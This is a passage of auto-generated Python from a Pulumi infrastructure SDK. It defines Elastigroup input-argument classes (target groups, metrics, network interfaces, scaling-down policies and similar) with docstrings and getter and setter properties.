pulumi.Input[Sequence[pulumi.Input['ElastigroupItfTargetGroupConfigTagArgs']]] tags: A key/value mapping of tags to assign to the resource. """ pulumi.set(__self__, "health_check_path", health_check_path) pulumi.set(__self__, "port", port) pulumi.set(__self__, "protocol", protocol) pulumi.set(__self__, "vpc_id", vpc_id) if health_check_interval_seconds is not None: pulumi.set(__self__, "health_check_interval_seconds", health_check_interval_seconds) if health_check_port is not None: pulumi.set(__self__, "health_check_port", health_check_port) if health_check_protocol is not None: pulumi.set(__self__, "health_check_protocol", health_check_protocol) if health_check_timeout_seconds is not None: pulumi.set(__self__, "health_check_timeout_seconds", health_check_timeout_seconds) if healthy_threshold_count is not None: pulumi.set(__self__, "healthy_threshold_count", healthy_threshold_count) if matchers is not None: pulumi.set(__self__, "matchers", matchers) if protocol_version is not None: pulumi.set(__self__, "protocol_version", protocol_version) if tags is not None: pulumi.set(__self__, "tags", tags) if unhealthy_threshold_count is not None: pulumi.set(__self__, "unhealthy_threshold_count", unhealthy_threshold_count) @property @pulumi.getter(name="healthCheckPath") def health_check_path(self) -> pulumi.Input[str]: return pulumi.get(self, "health_check_path") @health_check_path.setter def health_check_path(self, value: pulumi.Input[str]): pulumi.set(self, "health_check_path", value) @property @pulumi.getter def port(self) -> pulumi.Input[int]: return pulumi.get(self, "port") @port.setter def port(self, value: pulumi.Input[int]): pulumi.set(self, "port", value) @property @pulumi.getter def protocol(self) -> pulumi.Input[str]: return pulumi.get(self, "protocol") @protocol.setter def protocol(self, value: pulumi.Input[str]): pulumi.set(self, "protocol", value) @property @pulumi.getter(name="vpcId") def vpc_id(self) -> pulumi.Input[str]: return pulumi.get(self, "vpc_id") @vpc_id.setter def vpc_id(self, value: pulumi.Input[str]): pulumi.set(self, "vpc_id", value) @property @pulumi.getter(name="healthCheckIntervalSeconds") def health_check_interval_seconds(self) -> Optional[pulumi.Input[int]]: return pulumi.get(self, "health_check_interval_seconds") @health_check_interval_seconds.setter def health_check_interval_seconds(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "health_check_interval_seconds", value) @property @pulumi.getter(name="healthCheckPort") def health_check_port(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "health_check_port") @health_check_port.setter def health_check_port(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "health_check_port", value) @property @pulumi.getter(name="healthCheckProtocol") def health_check_protocol(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "health_check_protocol") @health_check_protocol.setter def health_check_protocol(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "health_check_protocol", value) @property @pulumi.getter(name="healthCheckTimeoutSeconds") def health_check_timeout_seconds(self) -> Optional[pulumi.Input[int]]: return pulumi.get(self, "health_check_timeout_seconds") @health_check_timeout_seconds.setter def health_check_timeout_seconds(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "health_check_timeout_seconds", value) @property @pulumi.getter(name="healthyThresholdCount") def healthy_threshold_count(self) -> Optional[pulumi.Input[int]]: return pulumi.get(self, "healthy_threshold_count") @healthy_threshold_count.setter def healthy_threshold_count(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "healthy_threshold_count", value) @property @pulumi.getter def matchers(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['ElastigroupItfTargetGroupConfigMatcherArgs']]]]: return pulumi.get(self, "matchers") @matchers.setter def matchers(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['ElastigroupItfTargetGroupConfigMatcherArgs']]]]): pulumi.set(self, "matchers", value) @property @pulumi.getter(name="protocolVersion") def protocol_version(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "protocol_version") @protocol_version.setter def protocol_version(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "protocol_version", value) @property @pulumi.getter def tags(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['ElastigroupItfTargetGroupConfigTagArgs']]]]: """ A key/value mapping of tags to assign to the resource. """ return pulumi.get(self, "tags") @tags.setter def tags(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['ElastigroupItfTargetGroupConfigTagArgs']]]]): pulumi.set(self, "tags", value) @property @pulumi.getter(name="unhealthyThresholdCount") def unhealthy_threshold_count(self) -> Optional[pulumi.Input[int]]: return pulumi.get(self, "unhealthy_threshold_count") @unhealthy_threshold_count.setter def unhealthy_threshold_count(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "unhealthy_threshold_count", value) @pulumi.input_type class ElastigroupItfTargetGroupConfigMatcherArgs: def __init__(__self__, *, grpc_code: Optional[pulumi.Input[str]] = None, http_code: Optional[pulumi.Input[str]] = None): if grpc_code is not None: pulumi.set(__self__, "grpc_code", grpc_code) if http_code is not None: pulumi.set(__self__, "http_code", http_code) @property @pulumi.getter(name="grpcCode") def grpc_code(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "grpc_code") @grpc_code.setter def grpc_code(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "grpc_code", value) @property @pulumi.getter(name="httpCode") def http_code(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "http_code") @http_code.setter def http_code(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "http_code", value) @pulumi.input_type class ElastigroupItfTargetGroupConfigTagArgs: def __init__(__self__, *, tag_key: pulumi.Input[str], tag_value: Optional[pulumi.Input[str]] = None): pulumi.set(__self__, "tag_key", tag_key) if tag_value is not None: pulumi.set(__self__, "tag_value", tag_value) @property @pulumi.getter(name="tagKey") def tag_key(self) -> pulumi.Input[str]: return pulumi.get(self, "tag_key") @tag_key.setter def tag_key(self, value: pulumi.Input[str]): pulumi.set(self, "tag_key", value) @property @pulumi.getter(name="tagValue") def tag_value(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "tag_value") @tag_value.setter def tag_value(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "tag_value", value) @pulumi.input_type class ElastigroupMetadataOptionsArgs: def __init__(__self__, *, http_tokens: pulumi.Input[str], http_put_response_hop_limit: Optional[pulumi.Input[int]] = None): """ :param pulumi.Input[str] http_tokens: The state of token usage for your instance metadata requests. Valid values: `optional` or `required`. :param pulumi.Input[int] http_put_response_hop_limit: The desired HTTP PUT response hop limit for instance metadata requests. The larger the number, the further instance metadata requests can travel. Valid values: Integers from `1` to `64`. """ pulumi.set(__self__, "http_tokens", http_tokens) if http_put_response_hop_limit is not None: pulumi.set(__self__, "http_put_response_hop_limit", http_put_response_hop_limit) @property @pulumi.getter(name="httpTokens") def http_tokens(self) -> pulumi.Input[str]: """ The state of token usage for your instance metadata requests. Valid values: `optional` or `required`. """ return pulumi.get(self, "http_tokens") @http_tokens.setter def http_tokens(self, value: pulumi.Input[str]): pulumi.set(self, "http_tokens", value) @property @pulumi.getter(name="httpPutResponseHopLimit") def http_put_response_hop_limit(self) -> Optional[pulumi.Input[int]]: """ The desired HTTP PUT response hop limit for instance metadata requests. The larger the number, the further instance metadata requests can travel. Valid values: Integers from `1` to `64`. """ return pulumi.get(self, "http_put_response_hop_limit") @http_put_response_hop_limit.setter def http_put_response_hop_limit(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "http_put_response_hop_limit", value) @pulumi.input_type class ElastigroupMultaiTargetSetArgs: def __init__(__self__, *, balancer_id: pulumi.Input[str], target_set_id: pulumi.Input[str]): """ :param pulumi.Input[str] balancer_id: ID of Multai Load Balancer. :param pulumi.Input[str] target_set_id: ID of Multai target set. """ pulumi.set(__self__, "balancer_id", balancer_id) pulumi.set(__self__, "target_set_id", target_set_id) @property @pulumi.getter(name="balancerId") def balancer_id(self) -> pulumi.Input[str]: """ ID of Multai Load Balancer. """ return pulumi.get(self, "balancer_id") @balancer_id.setter def balancer_id(self, value: pulumi.Input[str]): pulumi.set(self, "balancer_id", value) @property @pulumi.getter(name="targetSetId") def target_set_id(self) -> pulumi.Input[str]: """ ID of Multai target set. """ return pulumi.get(self, "target_set_id") @target_set_id.setter def target_set_id(self, value: pulumi.Input[str]): pulumi.set(self, "target_set_id", value) @pulumi.input_type class ElastigroupMultipleMetricsArgs: def __init__(__self__, *, expressions: Optional[pulumi.Input[Sequence[pulumi.Input['ElastigroupMultipleMetricsExpressionArgs']]]] = None, metrics: Optional[pulumi.Input[Sequence[pulumi.Input['ElastigroupMultipleMetricsMetricArgs']]]] = None): """ :param pulumi.Input[Sequence[pulumi.Input['ElastigroupMultipleMetricsExpressionArgs']]] expressions: Array of objects (Expression config) :param pulumi.Input[Sequence[pulumi.Input['ElastigroupMultipleMetricsMetricArgs']]] metrics: Array of objects (Metric config) """ if expressions is not None: pulumi.set(__self__, "expressions", expressions) if metrics is not None: pulumi.set(__self__, "metrics", metrics) @property @pulumi.getter def expressions(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['ElastigroupMultipleMetricsExpressionArgs']]]]: """ Array of objects (Expression config) """ return pulumi.get(self, "expressions") @expressions.setter def expressions(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['ElastigroupMultipleMetricsExpressionArgs']]]]): pulumi.set(self, "expressions", value) @property @pulumi.getter def metrics(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['ElastigroupMultipleMetricsMetricArgs']]]]: """ Array of objects (Metric config) """ return pulumi.get(self, "metrics") @metrics.setter def metrics(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['ElastigroupMultipleMetricsMetricArgs']]]]): pulumi.set(self, "metrics", value) @pulumi.input_type class ElastigroupMultipleMetricsExpressionArgs: def __init__(__self__, *, expression: pulumi.Input[str], name: pulumi.Input[str]): """ :param pulumi.Input[str] expression: An expression consisting of the metric names listed in the 'metrics' array. :param pulumi.Input[str] name: The record set name. """ pulumi.set(__self__, "expression", expression) pulumi.set(__self__, "name", name) @property @pulumi.getter def expression(self) -> pulumi.Input[str]: """ An expression consisting of the metric names listed in the 'metrics' array. """ return pulumi.get(self, "expression") @expression.setter def expression(self, value: pulumi.Input[str]): pulumi.set(self, "expression", value) @property @pulumi.getter def name(self) -> pulumi.Input[str]: """ The record set name. """ return pulumi.get(self, "name") @name.setter def name(self, value: pulumi.Input[str]): pulumi.set(self, "name", value) @pulumi.input_type class ElastigroupMultipleMetricsMetricArgs: def __init__(__self__, *, metric_name: pulumi.Input[str], name: pulumi.Input[str], namespace: pulumi.Input[str], dimensions: Optional[pulumi.Input[Sequence[pulumi.Input['ElastigroupMultipleMetricsMetricDimensionArgs']]]] = None, extended_statistic: Optional[pulumi.Input[str]] = None, statistic: Optional[pulumi.Input[str]] = None, unit: Optional[pulumi.Input[str]] = None): """ :param pulumi.Input[str] metric_name: The name of the metric, with or without spaces. :param pulumi.Input[str] name: The record set name. :param pulumi.Input[str] namespace: The namespace for the alarm's associated metric. :param pulumi.Input[Sequence[pulumi.Input['ElastigroupMultipleMetricsMetricDimensionArgs']]] dimensions: A list of dimensions describing qualities of the metric. *`name` - (Required) the dimension name. *`value` - (Optional) the dimension value. :param pulumi.Input[str] extended_statistic: Percentile statistic. Valid values: `"p0.1"` - `"p100"`. :param pulumi.Input[str] statistic: The metric statistics to return. For information about specific statistics go to [Statistics](http://docs.aws.amazon.com/AmazonCloudWatch/latest/DeveloperGuide/index.html?CHAP_TerminologyandKeyConcepts.html#Statistic) in the Amazon CloudWatch Developer Guide. :param pulumi.Input[str] unit: The unit for the alarm's associated metric. Valid values: `"percent`, `"seconds"`, `"microseconds"`, `"milliseconds"`, `"bytes"`, `"kilobytes"`, `"megabytes"`, `"gigabytes"`, `"terabytes"`, `"bits"`, `"kilobits"`, `"megabits"`, `"gigabits"`, `"terabits"`, `"count"`, `"bytes/second"`, `"kilobytes/second"`, `"megabytes/second"`, `"gigabytes/second"`, `"terabytes/second"`, `"bits/second"`, `"kilobits/second"`, `"megabits/second"`, `"gigabits/second"`, `"terabits/second"`, `"count/second"`, `"none"`. """ pulumi.set(__self__, "metric_name", metric_name) pulumi.set(__self__, "name", name) pulumi.set(__self__, "namespace", namespace) if dimensions is not None: pulumi.set(__self__, "dimensions", dimensions) if extended_statistic is not None: pulumi.set(__self__, "extended_statistic", extended_statistic) if statistic is not None: pulumi.set(__self__, "statistic", statistic) if unit is not None: pulumi.set(__self__, "unit", unit) @property @pulumi.getter(name="metricName") def metric_name(self) -> pulumi.Input[str]: """ The name of the metric, with or without spaces. """ return pulumi.get(self, "metric_name") @metric_name.setter def metric_name(self, value: pulumi.Input[str]): pulumi.set(self, "metric_name", value) @property @pulumi.getter def name(self) -> pulumi.Input[str]: """ The record set name. """ return pulumi.get(self, "name") @name.setter def name(self, value: pulumi.Input[str]): pulumi.set(self, "name", value) @property @pulumi.getter def namespace(self) -> pulumi.Input[str]: """ The namespace for the alarm's associated metric. """ return pulumi.get(self, "namespace") @namespace.setter def namespace(self, value: pulumi.Input[str]): pulumi.set(self, "namespace", value) @property @pulumi.getter def dimensions(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['ElastigroupMultipleMetricsMetricDimensionArgs']]]]: """ A list of dimensions describing qualities of the metric. *`name` - (Required) the dimension name. *`value` - (Optional) the dimension value. """ return pulumi.get(self, "dimensions") @dimensions.setter def dimensions(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['ElastigroupMultipleMetricsMetricDimensionArgs']]]]): pulumi.set(self, "dimensions", value) @property @pulumi.getter(name="extendedStatistic") def extended_statistic(self) -> Optional[pulumi.Input[str]]: """ Percentile statistic. Valid values: `"p0.1"` - `"p100"`. """ return pulumi.get(self, "extended_statistic") @extended_statistic.setter def extended_statistic(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "extended_statistic", value) @property @pulumi.getter def statistic(self) -> Optional[pulumi.Input[str]]: """ The metric statistics to return. For information about specific statistics go to [Statistics](http://docs.aws.amazon.com/AmazonCloudWatch/latest/DeveloperGuide/index.html?CHAP_TerminologyandKeyConcepts.html#Statistic) in the Amazon CloudWatch Developer Guide. """ return pulumi.get(self, "statistic") @statistic.setter def statistic(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "statistic", value) @property @pulumi.getter def unit(self) -> Optional[pulumi.Input[str]]: """ The unit for the alarm's associated metric. Valid values: `"percent`, `"seconds"`, `"microseconds"`, `"milliseconds"`, `"bytes"`, `"kilobytes"`, `"megabytes"`, `"gigabytes"`, `"terabytes"`, `"bits"`, `"kilobits"`, `"megabits"`, `"gigabits"`, `"terabits"`, `"count"`, `"bytes/second"`, `"kilobytes/second"`, `"megabytes/second"`, `"gigabytes/second"`, `"terabytes/second"`, `"bits/second"`, `"kilobits/second"`, `"megabits/second"`, `"gigabits/second"`, `"terabits/second"`, `"count/second"`, `"none"`. """ return pulumi.get(self, "unit") @unit.setter def unit(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "unit", value) @pulumi.input_type class ElastigroupMultipleMetricsMetricDimensionArgs: def __init__(__self__, *, name: pulumi.Input[str], value: Optional[pulumi.Input[str]] = None): """ :param pulumi.Input[str] name: The record set name. :param pulumi.Input[str] value: The dimension value. """ pulumi.set(__self__, "name", name) if value is not None: pulumi.set(__self__, "value", value) @property @pulumi.getter def name(self) -> pulumi.Input[str]: """ The record set name. """ return pulumi.get(self, "name") @name.setter def name(self, value: pulumi.Input[str]): pulumi.set(self, "name", value) @property @pulumi.getter def value(self) -> Optional[pulumi.Input[str]]: """ The dimension value. """ return pulumi.get(self, "value") @value.setter def value(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "value", value) @pulumi.input_type class ElastigroupNetworkInterfaceArgs: def __init__(__self__, *, device_index: pulumi.Input[str], associate_ipv6_address: Optional[pulumi.Input[bool]] = None, associate_public_ip_address: Optional[pulumi.Input[bool]] = None, delete_on_termination: Optional[pulumi.Input[bool]] = None, description: Optional[pulumi.Input[str]] = None, network_interface_id: Optional[pulumi.Input[str]] = None, private_ip_address: Optional[pulumi.Input[str]] = None, secondary_private_ip_address_count: Optional[pulumi.Input[str]] = None): """ :param pulumi.Input[str] device_index: The index of the device on the instance for the network interface attachment. :param pulumi.Input[bool] associate_ipv6_address: Indicates whether to assign IPV6 addresses to your instance. Requires a subnet with IPV6 CIDR block ranges. :param pulumi.Input[bool] associate_public_ip_address: Indicates whether to assign a public IP address to an instance you launch in a VPC. The public IP address can only be assigned to a network interface for eth0, and can only be assigned to a new network interface, not an existing one. :param pulumi.Input[bool] delete_on_termination: If set to true, the interface is deleted when the instance is terminated. :param pulumi.Input[str] description: The description of the network interface. :param pulumi.Input[str] network_interface_id: The ID of the network interface. :param pulumi.Input[str] private_ip_address: The private IP address of the network interface. :param pulumi.Input[str] secondary_private_ip_address_count: The number of secondary private IP addresses. """ pulumi.set(__self__, "device_index", device_index) if associate_ipv6_address is not None: pulumi.set(__self__, "associate_ipv6_address", associate_ipv6_address) if associate_public_ip_address is not None: pulumi.set(__self__, "associate_public_ip_address", associate_public_ip_address) if delete_on_termination is not None: pulumi.set(__self__, "delete_on_termination", delete_on_termination) if description is not None: pulumi.set(__self__, "description", description) if network_interface_id is not None: pulumi.set(__self__, "network_interface_id", network_interface_id) if private_ip_address is not None: pulumi.set(__self__, "private_ip_address", private_ip_address) if secondary_private_ip_address_count is not None: pulumi.set(__self__, "secondary_private_ip_address_count", secondary_private_ip_address_count) @property @pulumi.getter(name="deviceIndex") def device_index(self) -> pulumi.Input[str]: """ The index of the device on the instance for the network interface attachment. """ return pulumi.get(self, "device_index") @device_index.setter def device_index(self, value: pulumi.Input[str]): pulumi.set(self, "device_index", value) @property @pulumi.getter(name="associateIpv6Address") def associate_ipv6_address(self) -> Optional[pulumi.Input[bool]]: """ Indicates whether to assign IPV6 addresses to your instance. Requires a subnet with IPV6 CIDR block ranges. """ return pulumi.get(self, "associate_ipv6_address") @associate_ipv6_address.setter def associate_ipv6_address(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "associate_ipv6_address", value) @property @pulumi.getter(name="associatePublicIpAddress") def associate_public_ip_address(self) -> Optional[pulumi.Input[bool]]: """ Indicates whether to assign a public IP address to an instance you launch in a VPC. The public IP address can only be assigned to a network interface for eth0, and can only be assigned to a new network interface, not an existing one. """ return pulumi.get(self, "associate_public_ip_address") @associate_public_ip_address.setter def associate_public_ip_address(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "associate_public_ip_address", value) @property @pulumi.getter(name="deleteOnTermination") def delete_on_termination(self) -> Optional[pulumi.Input[bool]]: """ If set to true, the interface is deleted when the instance is terminated. """ return pulumi.get(self, "delete_on_termination") @delete_on_termination.setter def delete_on_termination(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "delete_on_termination", value) @property @pulumi.getter def description(self) -> Optional[pulumi.Input[str]]: """ The description of the network interface. """ return pulumi.get(self, "description") @description.setter def description(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "description", value) @property @pulumi.getter(name="networkInterfaceId") def network_interface_id(self) -> Optional[pulumi.Input[str]]: """ The ID of the network interface. """ return pulumi.get(self, "network_interface_id") @network_interface_id.setter def network_interface_id(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "network_interface_id", value) @property @pulumi.getter(name="privateIpAddress") def private_ip_address(self) -> Optional[pulumi.Input[str]]: """ The private IP address of the network interface. """ return pulumi.get(self, "private_ip_address") @private_ip_address.setter def private_ip_address(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "private_ip_address", value) @property @pulumi.getter(name="secondaryPrivateIpAddressCount") def secondary_private_ip_address_count(self) -> Optional[pulumi.Input[str]]: """ The number of secondary private IP addresses. """ return pulumi.get(self, "secondary_private_ip_address_count") @secondary_private_ip_address_count.setter def secondary_private_ip_address_count(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "secondary_private_ip_address_count", value) @pulumi.input_type class ElastigroupResourceTagSpecificationArgs: def __init__(__self__, *, should_tag_amis: Optional[pulumi.Input[bool]] = None, should_tag_enis: Optional[pulumi.Input[bool]] = None, should_tag_snapshots: Optional[pulumi.Input[bool]] = None, should_tag_volumes: Optional[pulumi.Input[bool]] = None): """ :param pulumi.Input[bool] should_tag_amis: Tag specification for AMI resources. :param pulumi.Input[bool] should_tag_enis: Tag specification for ENI resources. :param pulumi.Input[bool] should_tag_snapshots: Tag specification for Snapshot resources. :param pulumi.Input[bool] should_tag_volumes: Tag specification for Volume resources. """ if should_tag_amis is not None: pulumi.set(__self__, "should_tag_amis", should_tag_amis) if should_tag_enis is not None: pulumi.set(__self__, "should_tag_enis", should_tag_enis) if should_tag_snapshots is not None: pulumi.set(__self__, "should_tag_snapshots", should_tag_snapshots) if should_tag_volumes is not None: pulumi.set(__self__, "should_tag_volumes", should_tag_volumes) @property @pulumi.getter(name="shouldTagAmis") def should_tag_amis(self) -> Optional[pulumi.Input[bool]]: """ Tag specification for AMI resources. """ return pulumi.get(self, "should_tag_amis") @should_tag_amis.setter def should_tag_amis(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "should_tag_amis", value) @property @pulumi.getter(name="shouldTagEnis") def should_tag_enis(self) -> Optional[pulumi.Input[bool]]: """ Tag specification for ENI resources. """ return pulumi.get(self, "should_tag_enis") @should_tag_enis.setter def should_tag_enis(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "should_tag_enis", value) @property @pulumi.getter(name="shouldTagSnapshots") def should_tag_snapshots(self) -> Optional[pulumi.Input[bool]]: """ Tag specification for Snapshot resources. """ return pulumi.get(self, "should_tag_snapshots") @should_tag_snapshots.setter def should_tag_snapshots(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "should_tag_snapshots", value) @property @pulumi.getter(name="shouldTagVolumes") def should_tag_volumes(self) -> Optional[pulumi.Input[bool]]: """ Tag specification for Volume resources. """ return pulumi.get(self, "should_tag_volumes") @should_tag_volumes.setter def should_tag_volumes(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "should_tag_volumes", value) @pulumi.input_type class ElastigroupRevertToSpotArgs: def __init__(__self__, *, perform_at: pulumi.Input[str], time_windows: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None): """ :param pulumi.Input[str] perform_at: Actions to perform (options: timeWindow, never) :param pulumi.Input[Sequence[pulumi.Input[str]]] time_windows: Specify a list of time windows for to execute revertToSpot strategy. Time window format: `ddd:hh:mm-ddd:hh:mm`. Example: `Mon:03:00-Wed:02:30` """ pulumi.set(__self__, "perform_at", perform_at) if time_windows is not None: pulumi.set(__self__, "time_windows", time_windows) @property @pulumi.getter(name="performAt") def perform_at(self) -> pulumi.Input[str]: """ Actions to perform (options: timeWindow, never) """ return pulumi.get(self, "perform_at") @perform_at.setter def perform_at(self, value: pulumi.Input[str]): pulumi.set(self, "perform_at", value) @property @pulumi.getter(name="timeWindows") def time_windows(self) -> Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]: """ Specify a list of time windows for to execute revertToSpot strategy. Time window format: `ddd:hh:mm-ddd:hh:mm`. Example: `Mon:03:00-Wed:02:30` """ return pulumi.get(self, "time_windows") @time_windows.setter def time_windows(self, value: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]): pulumi.set(self, "time_windows", value) @pulumi.input_type class ElastigroupScalingDownPolicyArgs: def __init__(__self__, *, metric_name: pulumi.Input[str], namespace: pulumi.Input[str], policy_name: pulumi.Input[str], action_type: Optional[pulumi.Input[str]] = None, adjustment: Optional[pulumi.Input[str]] = None, cooldown: Optional[pulumi.Input[int]] = None, dimensions: Optional[pulumi.Input[Sequence[pulumi.Input['ElastigroupScalingDownPolicyDimensionArgs']]]] = None, evaluation_periods: Optional[pulumi.Input[int]] = None, is_enabled: Optional[pulumi.Input[bool]] = None, max_target_capacity: Optional[pulumi.Input[str]] = None, maximum: Optional[pulumi.Input[str]] = None, min_target_capacity: Optional[pulumi.Input[str]] = None, minimum: Optional[pulumi.Input[str]] = None, operator: Optional[pulumi.Input[str]] = None, period: Optional[pulumi.Input[int]] = None, source: Optional[pulumi.Input[str]] = None, statistic: Optional[pulumi.Input[str]] = None, step_adjustments: Optional[pulumi.Input[Sequence[pulumi.Input['ElastigroupScalingDownPolicyStepAdjustmentArgs']]]] = None, target: Optional[pulumi.Input[str]] = None, threshold: Optional[pulumi.Input[float]] = None, unit: Optional[pulumi.Input[str]] = None): """ :param pulumi.Input[str] metric_name: The name of the metric, with or without spaces. :param pulumi.Input[str] namespace: The namespace for the alarm's associated metric. :param pulumi.Input[str] policy_name: The name of the policy. :param pulumi.Input[str] action_type: The type of action to perform for scaling. Valid values: `"adjustment"`, `"percentageAdjustment"`, `"setMaxTarget"`, `"setMinTarget"`, `"updateCapacity"`. If a `step_adjustment` object is defined, then it cannot be specified. :param pulumi.Input[str] adjustment: The number of instances to add/remove to/from the target capacity when scale is needed. Can be used as advanced expression for scaling of instances to add/remove to/from the target capacity when scale is needed. You can see more information here: Advanced expression. Example value: `"MAX(currCapacity / 5, value * 10)"` :param pulumi.Input[int] cooldown: The amount of time, in seconds, after a scaling activity completes and before the next scaling activity can start. If this parameter is not specified, the default cooldown period for the group applies. :param pulumi.Input[Sequence[pulumi.Input['ElastigroupScalingDownPolicyDimensionArgs']]] dimensions: A list of dimensions describing qualities of the metric. :param pulumi.Input[int] evaluation_periods: The number of periods over which data is compared to the specified threshold. :param pulumi.Input[bool] is_enabled: Specifies whether the scaling policy described in this block is enabled. :param pulumi.Input[str] max_target_capacity: . The number of the desired target (and maximum) capacity :param pulumi.Input[str] maximum: The maximal number of instances to have in the group. :param pulumi.Input[str] min_target_capacity: The desired target capacity of a group. Required if using `"setMinTarget"` as action type :param pulumi.Input[str] minimum: The minimal number of instances to have in the group. :param pulumi.Input[str] operator: The operator to use in order to determine if the scaling policy is applicable. Valid values: `"gt"`, `"gte"`, `"lt"`, `"lte"`. :param pulumi.Input[int] period: The granularity, in seconds, of the returned datapoints. Period must be at least 60 seconds and must be a multiple of 60. :param pulumi.Input[str] source: The source of the metric. Valid values: `"cloudWatch"`, `"spectrum"`. :param pulumi.Input[str] statistic: The metric statistics to return. For information about specific statistics go to [Statistics](http://docs.aws.amazon.com/AmazonCloudWatch/latest/DeveloperGuide/index.html?CHAP_TerminologyandKeyConcepts.html#Statistic) in the Amazon CloudWatch Developer Guide. :param pulumi.Input[str] target: The target number of instances to have in the group. :param pulumi.Input[float] threshold: The value against which the specified statistic is compared in order to determine if a step should be applied. :param pulumi.Input[str] unit: The unit for the alarm's associated metric. Valid values: `"percent`, `"seconds"`, `"microseconds"`, `"milliseconds"`, `"bytes"`, `"kilobytes"`, `"megabytes"`, `"gigabytes"`, `"terabytes"`, `"bits"`, `"kilobits"`, `"megabits"`, `"gigabits"`, `"terabits"`, `"count"`, `"bytes/second"`, `"kilobytes/second"`, `"megabytes/second"`, `"gigabytes/second"`, `"terabytes/second"`, `"bits/second"`, `"kilobits/second"`, `"megabits/second"`, `"gigabits/second"`, `"terabits/second"`, `"count/second"`, `"none"`. """ pulumi.set(__self__, "metric_name", metric_name) pulumi.set(__self__, "namespace", namespace) pulumi.set(__self__, "policy_name", policy_name) if action_type is not None: pulumi.set(__self__, "action_type", action_type) if adjustment is not None: pulumi.set(__self__, "adjustment", adjustment) if cooldown is not None: pulumi.set(__self__, "cooldown", cooldown) if dimensions is not None: pulumi.set(__self__, "dimensions", dimensions) if evaluation_periods is not None: pulumi.set(__self__, "evaluation_periods", evaluation_periods) if is_enabled is not None: pulumi.set(__self__, "is_enabled", is_enabled) if max_target_capacity is not None: pulumi.set(__self__, "max_target_capacity", max_target_capacity) if maximum is not None: pulumi.set(__self__, "maximum", maximum) if min_target_capacity is not None: pulumi.set(__self__, "min_target_capacity", min_target_capacity) if minimum is not None: pulumi.set(__self__, "minimum", minimum) if operator is not None: pulumi.set(__self__, "operator", operator) if period is not None: pulumi.set(__self__, "period", period) if source is not None: pulumi.set(__self__, "source", source) if statistic is not None: pulumi.set(__self__, "statistic", statistic) if step_adjustments is not None: pulumi.set(__self__, "step_adjustments", step_adjustments) if target is not None: pulumi.set(__self__, "target", target) if threshold is not None: pulumi.set(__self__, "threshold", threshold) if unit is not None: pulumi.set(__self__, "unit", unit) @property @pulumi.getter(name="metricName") def metric_name(self) -> pulumi.Input[str]: """ The name of the metric, with or without spaces. """ return pulumi.get(self, "metric_name") @metric_name.setter def metric_name(self, value: pulumi.Input[str]): pulumi.set(self, "metric_name", value) @property @pulumi.getter def namespace(self) -> pulumi.Input[str]: """ The namespace for the alarm's associated metric. """ return pulumi.get(self, "namespace") @namespace.setter def namespace(self, value: pulumi.Input[str]): pulumi.set(self, "namespace", value) @property @pulumi.getter(name="policyName") def policy_name(self) -> pulumi.Input[str]: """ The name of the policy. """ return pulumi.get(self, "policy_name") @policy_name.setter def policy_name(self, value: pulumi.Input[str]): pulumi.set(self, "policy_name", value) @property @pulumi.getter(name="actionType") def action_type(self) -> Optional[pulumi.Input[str]]: """ The type of action to perform for scaling. Valid values: `"adjustment"`, `"percentageAdjustment"`, `"setMaxTarget"`, `"setMinTarget"`, `"updateCapacity"`. If a `step_adjustment` object is defined, then it cannot be specified. """ return pulumi.get(self, "action_type") @action_type.setter def action_type(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "action_type", value) @property @pulumi.getter def adjustment(self) -> Optional[pulumi.Input[str]]: """ The number of instances to add/remove to/from the target capacity when scale is needed. Can be used as advanced expression for scaling of instances to add/remove to/from the target capacity when scale is needed. You can see more information here: Advanced expression. Example value: `"MAX(currCapacity / 5, value * 10)"` """ return pulumi.get(self, "adjustment") @adjustment.setter def adjustment(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "adjustment", value) @property @pulumi.getter def cooldown(self) -> Optional[pulumi.Input[int]]: """ The amount of time, in seconds, after a scaling activity completes and before the next scaling activity can start. If this parameter is not specified, the default cooldown period for the group applies. """ return pulumi.get(self, "cooldown") @cooldown.setter def cooldown(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "cooldown", value) 